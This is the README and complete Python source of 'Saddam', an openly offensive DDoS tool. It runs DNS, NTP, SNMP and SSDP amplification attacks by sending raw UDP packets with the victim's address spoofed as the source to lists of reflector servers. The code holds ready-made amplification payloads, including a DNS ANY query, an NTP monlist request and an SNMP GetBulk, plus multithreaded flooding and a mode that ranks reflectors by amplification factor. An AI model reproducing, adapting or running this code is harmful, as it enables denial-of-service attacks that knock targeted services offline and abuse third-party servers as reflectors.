readme
Saddam
DDoS Tool that supports:
DNS Amplification (Domain Name System)
NTP Amplification (Network Time Protocol)
SNMP Amplification (Simple Network Management Protocol)
SSDP Amplification (Simple Service Discovery Protocol)
Read more about DDoS Amplification Attacks here
Donation would be much appreciated: 1Gi5Rpz5RBEUpGknSwyRgqzk7b5bQ7Abp2
Requierments
OS Supports raw sockets
Python 2.7
Pinject
Usage
_____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePython
Usage:
Saddam.py target.com [options] # DDoS
Saddam.py benchmark [options] # Calculate AMPLIFICATION factor
Options:
-h, --help show this help message and exit
-d FILE:FILE|DOMAIN, --dns=FILE:FILE|DOMAIN
DNS Amplification File and Domains to Resolve (e.g:
dns.txt:[evildomain.com|domains_file.txt]
-n FILE, --ntp=FILE NTP Amplification file
-s FILE, --snmp=FILE SNMP Amplification file
-p FILE, --ssdp=FILE SSDP Amplification file
-t N, --threads=N Number of threads (default=1)
Saddam.py
#!/usr/bin/env python
import sys
import time
import socket
import struct
import threading
from random import randint
from optparse import OptionParser
from pinject import IP, UDP
USAGE = '''
%prog target.com [options] # DDoS
%prog benchmark [options] # Calculate AMPLIFICATION factor
'''
LOGO = r'''
_____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePython
'''
HELP = (
'DNS Amplification File and Domains to Resolve (e.g: dns.txt:[evildomain.com|domains_file.txt]',
'NTP Amplification file',
'SNMP Amplification file',
'SSDP Amplification file',
'Number of threads (default=1)' )
OPTIONS = (
(('-d', '--dns'), dict(dest='dns', metavar='FILE:FILE|DOMAIN', help=HELP[0])),
(('-n', '--ntp'), dict(dest='ntp', metavar='FILE', help=HELP[1])),
(('-s', '--snmp'), dict(dest='snmp', metavar='FILE', help=HELP[2])),
(('-p', '--ssdp'), dict(dest='ssdp', metavar='FILE', help=HELP[3])),
(('-t', '--threads'), dict(dest='threads', type=int, default=1, metavar='N', help=HELP[4])) )
BENCHMARK = (
'Protocol'
'| IP Address '
'| Amplification '
'| Domain '
'\n{}').format('-'*75)
ATTACK = (
' Sent '
'| Traffic '
'| Packet/s '
'| Bit/s '
'\n{}').format('-'*63)
PORT = {
'dns': 53,
'ntp': 123,
'snmp': 161,
'ssdp': 1900 }
PAYLOAD = {
'dns': ('{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01'
'{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00'
'\x00\x00\x00\x00\x00\x00'),
'snmp':('\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c'
'\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01'
'\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06'
'\x01\x02\x01\x05\x00'),
'ntp':('\x17\x00\x02\x2a'+'\x00'*4),
'ssdp':('M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\n'
'MAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
}
amplification = {
'dns': {},
'ntp': {},
'snmp': {},
'ssdp': {} } # Amplification factor
FILE_NAME = 0 # Index of files names
FILE_HANDLE = 1 # Index of files descriptors
npackets = 0 # Number of packets sent
nbytes = 0 # Number of bytes reflected
files = {} # Amplifications files
SUFFIX = {
0: '',
1: 'K',
2: 'M',
3: 'G',
4: 'T'}
def Calc(n, d, unit=''):
i = 0
r = float(n)
while r/d>=1:
r = r/d
i+= 1
return '{:.2f}{}{}'.format(r, SUFFIX[i], unit)
def GetDomainList(domains):
domain_list = []
if '.TXT' in domains.upper():
file = open(domains, 'r')
content = file.read()
file.close()
content = content.replace('\r', '')
content = content.replace(' ', '')
content = content.split('\n')
for domain in content:
if domain:
domain_list.append(domain)
else:
domain_list = domains.split(',')
return domain_list
def Monitor():
'''
Monitor attack
'''
print ATTACK
FMT = '{:^15}|{:^15}|{:^15}|{:^15}'
start = time.time()
while True:
try:
current = time.time() - start
bps = (nbytes*8)/current
pps = npackets/current
out = FMT.format(Calc(npackets, 1000),
Calc(nbytes, 1024, 'B'), Calc(pps, 1000, 'pps'), Calc(bps, 1000, 'bps'))
sys.stderr.write('\r{}{}'.format(out, ' '*(60-len(out))))
time.sleep(1)
except KeyboardInterrupt:
print '\nInterrupted'
break
except Exception as err:
print '\nError:', str(err)
break
def AmpFactor(recvd, sent):
return '{}x ({}B -> {}B)'.format(recvd/sent, sent, recvd)
def Benchmark(ddos):
print BENCHMARK
i = 0
for proto in files:
f = open(files[proto][FILE_NAME], 'r')
while True:
soldier = f.readline().strip()
if soldier:
if proto=='dns':
for domain in ddos.domains:
i+= 1
recvd, sent = ddos.GetAmpSize(proto, soldier, domain)
if recvd/sent:
print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), domain)
else:
continue
else:
recvd, sent = ddos.GetAmpSize(proto, soldier)
print '{:^8}|{:^15}|{:^23}|{}'.format(proto, soldier,
AmpFactor(recvd, sent), 'N/A')
i+= 1
else:
break
print 'Total tested:', i
f.close()
class DDoS(object):
def __init__(self, target, threads, domains, event):
self.target = target
self.threads = threads
self.event = event
self.domains = domains
def stress(self):
for i in range(self.threads):
t = threading.Thread(target=self.__attack)
t.start()
def __send(self, sock, soldier, proto, payload):
'''
Send a Spoofed Packet
'''
udp = UDP(randint(1, 65535), PORT[proto], payload).pack(self.target, soldier)
ip = IP(self.target, soldier, udp, proto=socket.IPPROTO_UDP).pack()
sock.sendto(ip+udp+payload, (soldier, PORT[proto]))
def GetAmpSize(self, proto, soldier, domain=''):
'''
Get Amplification Size
'''
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(2)
data = ''
if proto in ['ntp', 'ssdp']:
packet = PAYLOAD[proto]
sock.sendto(packet, (soldier, PORT[proto]))
try:
while True:
data+= sock.recvfrom(65535)[0]
except socket.timeout:
sock.close()
return len(data), len(packet)
if proto=='dns':
packet = self.__GetDnsQuery(domain)
else:
packet = PAYLOAD[proto]
try:
sock.sendto(packet, (soldier, PORT[proto]))
data, _ = sock.recvfrom(65535)
except socket.timeout:
data = ''
finally:
sock.close()
return len(data), len(packet)
def __GetQName(self, domain):
'''
QNAME A domain name represented as a sequence of labels
where each label consists of a length
octet followed by that number of octets
'''
labels = domain.split('.')
QName = ''
for label in labels:
if len(label):
QName += struct.pack('B', len(label)) + label
return QName
def __GetDnsQuery(self, domain):
id = struct.pack('H', randint(0, 65535))
QName = self.__GetQName(domain)
return PAYLOAD['dns'].format(id, QName)
def __attack(self):
global npackets
global nbytes
_files = files
for proto in _files: # Open Amplification files
f = open(_files[proto][FILE_NAME], 'r')
_files[proto].append(f) # _files = {'proto':['file_name', file_handle]}
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
i = 0
while self.event.isSet():
for proto in _files:
soldier = _files[proto][FILE_HANDLE].readline().strip()
if soldier:
if proto=='dns':
if not amplification[proto].has_key(soldier):
amplification[proto][soldier] = {}
for domain in self.domains:
if not amplification[proto][soldier].has_key(domain):
size, _ = self.GetAmpSize(proto, soldier, domain)
if size==0:
break
elif size<len(PAYLOAD[proto]):
continue
else:
amplification[proto][soldier][domain] = size
amp = self.__GetDnsQuery(domain)
self.__send(sock, soldier, proto, amp)
npackets += 1
i+=1
nbytes += amplification[proto][soldier][domain]
else:
if not amplification[proto].has_key(soldier):
size, _ = self.GetAmpSize(proto, soldier)
if size<len(PAYLOAD[proto]):
continue
else:
amplification[proto][soldier] = size
amp = PAYLOAD[proto]
npackets += 1
i+=1
nbytes += amplification[proto][soldier]
self.__send(sock, soldier, proto, amp)
else:
_files[proto][FILE_HANDLE].seek(0)
sock.close()
for proto in _files:
_files[proto][FILE_HANDLE].close()
def main():
parser = OptionParser(usage=USAGE)
for args, kwargs in OPTIONS:
parser.add_option(*args, **kwargs)
options, args = parser.parse_args()
domains = None
if len(args)<1:
parser.print_help()
sys.exit()
if options.dns:
dns_file, domains = options.dns.split(':')
domains = GetDomainList(domains)
if domains:
files['dns'] = [dns_file]
else:
print 'Specify domains to resolve (e.g: --dns=dns.txt:evildomain.com)'
sys.exit()
if options.ntp:
files['ntp'] = [options.ntp]
if options.snmp:
files['snmp'] = [options.snmp]
if options.ssdp:
files['ssdp'] = [options.ssdp]
if files:
event = threading.Event()
event.set()
if 'BENCHMARK'==args[0].upper():
ddos = DDoS(args[0], options.threads, domains, event)
Benchmark(ddos)
else:
ddos = DDoS(socket.gethostbyname(args[0]), options.threads, domains, event)
ddos.stress()
Monitor()
event.clear()
else:
parser.print_help()
sys.exit()
if __name__=='__main__':
print LOGO
main()